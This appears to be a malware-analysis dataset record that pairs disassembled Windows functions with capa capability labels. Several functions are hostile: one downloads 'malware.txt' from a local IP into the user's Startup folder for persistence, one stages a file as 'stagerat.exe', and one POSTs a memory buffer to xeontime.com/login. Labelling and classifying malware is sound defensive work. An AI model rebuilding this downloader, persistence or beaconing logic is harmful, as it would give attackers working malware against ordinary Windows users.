joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Get common file path
Query environment variable

Disassembly:
sub rsp, 0x268
mov rax, qword [0x140025200]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r8d, 0x104
lea rdx, [rsp + 0x30]
lea rcx, section..data
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rdx, [rsp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rsp + 0x140]
call fcn.140001400
lea rcx, [rsp + 0x30]
call fcn.140001400
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x140]
call fcn.140008f20
test eax, eax
jne 0x14000107b
mov dword [rsp + 0x20], 1
jmp 0x140001083
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400015c0
add rsp, 0x268
ret

Function at 0x1400010b0
Capabilities:
Get common file path
Move file
Query environment variable

Disassembly:
sub rsp, 0x488
mov rax, qword [0x140025200]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov r8d, 0x104
lea rdx, [rsp + 0x140]
lea rcx, [0x140025050]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rax, [0x1400250a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
lea r8, [0x1400250b0]
mov edx, 0x104
lea rcx, [rsp + 0x360]
call fcn.140001460
lea rax, str.stagerat.exe
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x140]
lea r8, str._s_s
mov edx, 0x104
lea rcx, [rsp + 0x250]
call fcn.140001460
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x360]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1400015c0
add rsp, 0x488
ret
Function at 0x1400011b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub rsp, 0x478
mov rax, qword [0x140025200]
xor rax, rsp
mov qword [rsp + 0x460], rax
lea rax, str.http:__192.168.56.101_malware.txt
mov qword [rsp + 0x50], rax
lea rax, str.malware.txt
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000121a
lea rcx, str.Failed_to_initiate_InternetOpen_n
call fcn.140001400
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001265
lea rcx, str.Failed_to_connect_with_URL_n
call fcn.140001400
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x14002504c]
mov rcx, qword [rsp + 0x58]
call fcn.140005e88
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400012a5
lea rcx, str.Failed_to_open_file_n
call fcn.140001400
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400012e8
cmp dword [rsp + 0x30], 0
jbe 0x1400012e8
mov eax, dword [rsp + 0x30]
mov r9, qword [rsp + 0x48]
mov r8d, eax
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140006204
jmp 0x1400012a5
mov rcx, qword [rsp + 0x48]
call fcn.140005d34
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1400015c0
add rsp, 0x478
ret

Function at 0x140001330
Capabilities:
Query environment variable
Set current directory

Disassembly:
sub rsp, 0x148
mov rax, qword [0x140025200]
xor rax, rsp
mov qword [rsp + 0x130], rax
call fcn.140001180
test eax, eax
je 0x140001375
mov r8d, 0x104
lea rdx, [rsp + 0x20]
lea rcx, str._userprofile_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.1400011b0
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400015c0
add rsp, 0x148
ret

Function at 0x140001fa0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001fea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001fea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001fea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001fea
cmp dword [rcx + 0x84], 0xe
jbe 0x140001fea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001fec
xor al, al
add rsp, 0x28
ret

Function at 0x140009ca4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140009aa0
Function at 0x14000d4d0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14000d4e6
mov al, 1
jmp 0x14000d546
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14000d4f7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14000d544
mov ecx, dword [rcx + 0x18]
nop
call fcn.140011284
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000d544
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14000d544
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14000d544
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14000d546
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140010764
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140010794
xor eax, eax
jmp 0x140010857
mov rbp, rbx
cmp word [rax], si
je 0x1400107b9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400107a0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001079c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140010684
movsxd r14, eax
test eax, eax
jne 0x1400107f7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001078d
mov rcx, r14
call fcn.14000d76c
mov rdi, rax
test rax, rax
jne 0x140010810
xor ecx, ecx
call fcn.14000ac34
jmp 0x1400107ec
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140010684
test eax, eax
jne 0x140010841
mov rcx, rdi
call fcn.14000ac34
jmp 0x14001084b
xor ecx, ecx
call fcn.14000ac34
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400134d4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400267e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001352b
cmp word [rdx], r13w
jne 0x14001352b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140013530
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140013655
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140013676
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140013569
mov rdx, r9
mov word [rbx], cx
jmp 0x140013590
cmp r9, r8
jae 0x1400135a0
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001354a
jmp 0x140013655
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001364a
cmp dword [rsp + 0x80], esi
je 0x14001364a
lea r8, [0x1400267e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140013622
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400135f2
mov word [rbx], r13w
jmp 0x140013652
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400135ff
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140013652
cmp word [rsp + 0x70], r13w
jne 0x14001362f
cmp rbx, r14
je 0x1400135ec
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14001320c
cmp word [rsp + 0x70], r13w
je 0x140013655
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400267e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001364f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140013655
Function at 0x140016770
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000f754
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400167fa
cmp byte [rbp - 0x21], r15b
je 0x1400167f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140016830
call fcn.14000ae84
test eax, eax
jne 0x14001681c
cmp byte [rbp - 0x21], r15b
je 0x140016814
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140016830
cmp byte [rbp - 0x21], r15b
je 0x14001682d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000ed34
test eax, eax
jne 0x1400168d0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000f754
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001686f
cmp byte [rbp - 0x21], r15b
je 0x1400168a4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400168a4
call fcn.14000ae84
test eax, eax
jne 0x140016890
cmp byte [rbp - 0x21], r15b
je 0x140016889
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400168a4
cmp byte [rbp - 0x21], r15b
je 0x1400168a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000ed34
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400168d0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400168d3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400168e1
mov rcx, rdi
call fcn.14000ac34
cmp byte [rbp + 0x3f], r15b
je 0x1400168f0
mov rcx, qword [rbp + 0x27]
call fcn.14000ac34
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140016a60
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001320c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001320c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140016bb0
cmp rax, 0xffffffffffffffff
je 0x140016bb0
xor edi, edi
test rbp, rbp
jle 0x140016b5b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14000abbc
mov rbx, rax
test rax, rax
jne 0x140016ae8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140016b51
mov edx, 0x8000
mov ecx, r14d
call fcn.140009d20
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14000d0d0
cmp eax, 0xffffffff
je 0x140016b31
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140016af8
mov edx, r15d
mov ecx, r14d
call fcn.140009d20
jmp 0x140016b51
cmp byte [rsi + 0x38], dil
je 0x140016b48
cmp dword [rsi + 0x34], 5
jne 0x140016b48
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140016b51
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14000ac34
jmp 0x140016bc4
jns 0x140016bc4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001320c
cmp rax, 0xffffffffffffffff
jne 0x140016b7c
cmp byte [rsi + 0x30], dil
je 0x140016bc4
mov edi, dword [rsi + 0x2c]
jmp 0x140016bc4
mov ecx, r14d
call fcn.140011284
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140016bc4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140016bc4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140016bbd
mov eax, dword [rsi + 0x2c]
jmp 0x140016bc2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001320c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400189b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400189d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400189d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
xor esi, esi
mov rbp, r8
mov r14, rdx
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [rsi + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
je 0x1400010e8
mov qword [rsp + 0x38], rsi
lea rdx, str.xeontime.com
mov dword [rsp + 0x30], esi
mov r8d, 0x1bb
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x50], rbx
call qword [sym.imp.WININET.dll_InternetConnectW]
mov rbx, rax
test rax, rax
je 0x1400010da
mov qword [rsp + 0x38], rsi
lea r8, str.login
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov rsi, rax
test rax, rax
je 0x1400010d1
mov r9, r14
mov dword [rsp + 0x20], ebp
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400014b0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
xor ecx, ecx
mov edx, 0x20000000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x30], 0
mov rdx, rax
mov rbx, rax
call fcn.140001100
mov r8, qword [rsp + 0x30]
mov rdx, rbx
call fcn.140001000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x14000378a
Capabilities:
Accept command line arguments

Disassembly:
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
mov rax, qword [rsp + 0x70]
mov qword [0x140013320], rax
call fcn.140005744
mov qword [rsp + 0x28], rax
push qword [0x140013320]
sub rsp, 8
push qword [0x140013320]
pop rcx
sub rsp, 0x20
call fcn.140004ddc
add rsp, 0x28
lea rcx, [rsp + 0x38]
pop rdx
call fcn.140008080
push qword [rsp + 0x30]
pop rcx
call sub.SHLWAPI.DLL_PathQuoteSpacesA
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400038c2
push qword [0x140013320]
sub rsp, 8
push qword [0x140013320]
push qword [0x140013320]
push qword [0x140013320]
sub rsp, 8
push qword [0x140013320]
sub rsp, 8
sub rsp, 0x20
call sub.KERNEL32.dll_GetCommandLineA
add rsp, 0x28
mov rax, rax
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400058b0
add rsp, 0x28
mov rdx, qword [0x140013330]
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call sub.SHLWAPI.DLL_PathGetArgsA
add rsp, 0x20
pop qword [0x140013320]
mov rax, rax
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400058b0
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.140008080
mov rcx, qword [rsp + 0x30]
push qword [0x140013320]
sub rsp, 0x28
call fcn.140008230
add rsp, 0x28
movabs rcx, 0x140012022
sub rsp, 0x28
call fcn.140008230
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.140008230
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.140008080
jmp 0x1400038e5
mov rcx, qword [rsp + 0x30]
push qword [0x140013320]
sub rsp, 0x28
call fcn.140008230
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.140008080
mov rcx, qword [rsp + 0x38]
push qword [0x140013320]
sub rsp, 0x28
call fcn.140008230
add rsp, 0x28
pop rax
add rax, qword [0x140013330]
jmp 0x140003918
push rax
mov rcx, qword [rsp + 0x38]
sub rsp, 0x28
call fcn.140008310
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.140008310
add rsp, 0x28
pop rax
add rsp, 0x40
pop r15
ret
Function at 0x140004c18
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x140004c8f
movsxd rdx, ecx
lea rcx, [0x140004b74]
call qword [sym.imp.USER32.DLL_EnumWindows]
mov rbx, qword [0x1400132a8]
test rbx, rbx
je 0x140004d02
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140004c85
cmp byte [rbx + 0x20], 0
je 0x140004c85
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.DLL_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x140004c4b
jmp 0x140004d02
mov rbx, qword [0x1400132a8]
test rbx, rbx
je 0x140004d02
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140004cfa
cmp byte [rbx + 0x21], 0
je 0x140004cbe
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x140004cea
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.DLL_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400132a8]
call fcn.140007c70
mov rbx, rdi
test rdi, rdi
jne 0x140004c9b
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x140004eb4
Capabilities:
Set environment variable

Disassembly:
sub rsp, 0x28
mov rax, rdx
test rcx, rcx
je 0x140004ed4
test rax, rax
lea rdx, [0x14000e952]
cmovne rdx, rax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
add rsp, 0x28
ret
Function at 0x140005584
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x140013350]
call fcn.140007b2c
xor ebx, ebx
or esi, 0xffffffff
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dl, byte [rax]
test dl, dl
je 0x14000564a
mov rcx, qword [rsp + 0x30]
mov r10b, 0x20
lea r9d, [rbx + 1]
cmp dl, r10b
jne 0x1400055d8
add rax, r9
cmp byte [rax], r10b
je 0x1400055d0
mov dl, byte [rax]
mov r8d, r9d
cmp dl, 0x22
jne 0x14000560e
add rax, r9
mov rbx, rax
mov cl, byte [rax]
test cl, cl
je 0x140005609
cmp cl, 0x22
je 0x1400055fc
add rax, r9
mov cl, byte [rax]
test cl, cl
jne 0x1400055ee
cmp byte [rax], 0
je 0x140005609
mov rcx, rax
add rax, r9
jmp 0x140005630
mov rcx, rax
jmp 0x140005630
test dl, dl
je 0x14000562d
mov rbx, rax
cmp dl, r10b
je 0x140005623
add rax, r9
mov dl, byte [rax]
test dl, dl
jne 0x140005615
cmp byte [rax], 0
mov rcx, rax
je 0x140005630
jmp 0x140005604
xor r8d, r8d
cmp dword [rbp], esi
jne 0x14000563a
test rdi, rdi
jne 0x140005654
test r8d, r8d
je 0x140005642
add esi, r9d
mov dl, byte [rax]
xor ebx, ebx
test dl, dl
jne 0x1400055cb
test rdi, rdi
jne 0x140005666
movsxd rax, esi
jmp 0x140005669
test rbx, rbx
je 0x140005666
sub ecx, ebx
mov rax, rbx
mov dword [rdi], ecx
add dword [rbp], r9d
jmp 0x140005669
and dword [rdi], 0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140005744
Capabilities:
Accept command line arguments

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x140013350]
call fcn.140007b2c
xor ecx, ecx
add rsp, 0x28
jmp fcn.140005584

Function at 0x140005a08
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edx, ecx
mov esi, 0x104
mov ecx, esi
call fcn.1400083f0
mov ecx, esi
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
movsxd rbx, eax
test eax, eax
je 0x140005a47
cmp byte [rbx + rdi - 1], 0x5c
je 0x140005a47
mov byte [rbx + rdi], 0x5c
inc ebx
sub esi, ebx
mov ecx, esi
call fcn.140008590
mov rsi, qword [rsp + 0x38]
movsxd r11, ebx
mov rbx, qword [rsp + 0x30]
mov byte [r11 + rdi], 0
add rsp, 0x20
pop rdi
ret